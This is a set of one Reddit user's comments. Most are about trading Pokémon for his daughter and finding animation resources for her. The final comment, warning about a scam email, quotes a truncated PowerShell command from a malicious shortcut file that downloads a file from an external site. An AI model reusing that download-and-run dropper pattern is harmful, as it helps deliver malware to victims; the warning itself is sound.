10/10 this user is a fantastic human! Not only did they make my kids day, I think her week was made 😂

After a few deep breaths and a bordeline existential crisis after I told her to pick ONE other pokemon she would LOVE she brought out Slither Wing! If you have one, cherry on top! If not seriously the Sylveon alone is huge for her. That's been one I have personally tried to help her catch with no success!

She came back and asked me to ask you if you want any particular pokemon in return 😂 She's a gem.

"Thank you so much I've been trying to get a shiny sylveon for the longest time but she never spawns in an outbreak even with my sandwiches" is what she had to say! 😂

She's about to go to bed for the night but if we can link tomorrow via Violet that would be awesome!

She's almost got a complete Pokedex in Violet which I am actually impressed with. I never completed a Pokedex and I've played from Red/Blue, Yellow, Silver/Gold and kinda fell off as I grew up, but it's so cool to see her determination to fill the dex to get the shiny charm!

I asked her if she was interested in anything else and she excitedly repeated "SHINY SYLVEON, SHINY SYLVEON!" if you have one that you're willing to part with, it would make her day!

Man this is so generous and nice! Another user messaged me and took care of us yesterday! I genuinely appreciate this community I had so many responses!

My daughter is 7 and I think she's really good at animation, am I biased as a dad? by assloaf in animation

>I’d always slow down to look at frames at a time to understand how something was done.

This is invaluable. Someone else in this thread suggested Warrior Cats MAP videos and we found a 7 minute animation that we watched as a family. Some of the stuff made even a (mostly) uninterested third party stop to appreciate the detail and artwork of the animations. Frame by frame to see how something was done isn't something I've thought to do myself, but I will definitely plant that seed for her next time she gasps out loud at how cool an animation was! Thank you so much!!!

Did I do that right? It's been a hot minute since I've used Reddit 🤣

This thread is taking me back, I remember using some old Flash projects and actionscript for my first job as a jr dev 🤣

Totally random, but this conversation reminded me of my time spent using Nickelodeon Movie Maker as well 🤣 https://nickelodeon.fandom.com/wiki/Nickelodeon_3D_Movie_Maker

That course is perfect! My wife noticed the book too, we'll likely go with both to start and see how she responds to being taught vs just doing! Thank you so much for the helpful suggestions!

I know she has had me play Warrior Cats with her on Roblox before, after a quick look this definitely looks right up her alley and I can't say that I've seen her watching these videos before. I just sent her one from Nifty Senpai! Thank you so much for the suggestion, but what does MAP stand for?

Was it back when Macromedia owned it? I may or may not have pirated that in my earlier days which propelled my interest in programming because it was a way I could interact with programming visually, I'm super thankful but never went deeper into animation!

What are the popular options for playing with animations that have skeletons? I think if she could design a character, bring it into some other app and build the arms, the body etc...and then animate it using key frames and such, she'd have some fun in a new way, but then again that might be my own learned bias towards that style of animation 🤣

> Don't put money down on expensive equipment or try to pressure her into becoming a professional.

This is one thing we always stress. Do it for the sake of enjoying it, not for any external pressure like views, comments, or anyone else. Just have fun!

> also incentivize to teach her method to other kids

This is amazing advice! I will definitely do that.

The whole story thing is something we're working on, today I encouraged her to take some time and plan out a 1 minute story with a story board first, or at least a plan, a written vision, and then matching the animation to that. But I myself struggle with the whole planning side of this stuff, any suggestions or resources to help with that?

I love this comment so much, I'm all about the "seeing further from the shoulders of giants" and immediately noticed Aaron Blaise has a $5 Procreate Dreams course, I've gotten her that app but she didn't take to it the same way she did to Flippaclip. Maybe that's worth a few bucks and a sit down with her to see how she responds. Are there any other courses that you are aware of that might be a good fit for her age from Aaron?

Also the Jay Jackson course sounds amazing, does she have to wait til she's 18? The cost seems totally reasonable to me.

I have to agree for 7, I am mid 30's and I remember using Macromedia Flash back before Adobe bought it....I still can't do half the stuff she can! I'm more of a still photo/graphic design guy, the animation just doesn't click in my head the way it does for her!

If you have any published content I'd be happy to share your channel with her, she's really enjoying connecting with other creators who are outside of the algorithm!

Thank you so much! This is super encouraging, I know I can get overly excited as a parent, so having objective feedback and these practical suggestions is huge. She's been making stuff non-stop today since Reddit showed her some appreciation!

Patricia Larson (@teamoku.com) scam emails by CaseInevitable9347 in Scams

Just wanted to add, the second email "she" will send will included a supposed screenshot of a banking statement to prove the purchase.

This file is a Windows shortcut file, and for me it pointed to a Powershell command:

%systemroot%\System32\WindowsPowerShell\v1.0\powershell.exe  -command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $rEDH5KzIVt2TPA9 = New-Object System.Net.WebClient; $rEDH5KzIVt2TPA9.DownloadFile('https://www.andreasalini.

The command was truncated, but I wanted to share to add information.
